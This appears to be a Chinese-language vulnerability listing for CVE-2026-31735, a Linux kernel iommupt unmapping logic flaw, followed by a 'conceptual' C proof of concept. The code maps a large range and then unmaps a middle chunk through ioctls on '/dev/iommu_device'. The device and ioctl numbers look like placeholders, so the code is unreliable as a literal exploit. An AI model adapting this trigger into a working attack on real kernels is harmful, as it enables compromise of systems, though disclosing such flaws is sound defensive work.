CVE-2026-31735 Linux内核iommupt取消映射逻辑错误漏洞

/* * Conceptual PoC for iommupt short gather vulnerability * This demonstrates the logic of mapping a large block and unmapping a middle chunk. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #define IOMMU_IOCTL_MAP 0x1 #define IOMMU_IOCTL_UNMAP 0x2 struct iommu_range { unsigned long start; unsigned long size; }; void trigger_vulnerability() { int fd = open("/dev/iommu_device", O_RDWR); if (fd < 0) { perror("Failed to open device"); return; } struct iommu_range map_range = {0x1000, 0x10000}; // Large mapping if (ioctl(fd, IOMMU_IOCTL_MAP, &map_range) < 0) { perror("Map failed"); close(fd); return; } // Unmap a range that ends in the middle of the large mapped block struct iommu_range unmap_range = {0x2000, 0x5000}; // This triggers the gather logic flaw if (ioctl(fd, IOMMU_IOCTL_UNMAP, &unmap_range) < 0) { perror("Unmap failed"); } close(fd); printf("PoC executed: Check kernel logs for invalidation issues.\n"); } int main() { trigger_vulnerability(); return 0; }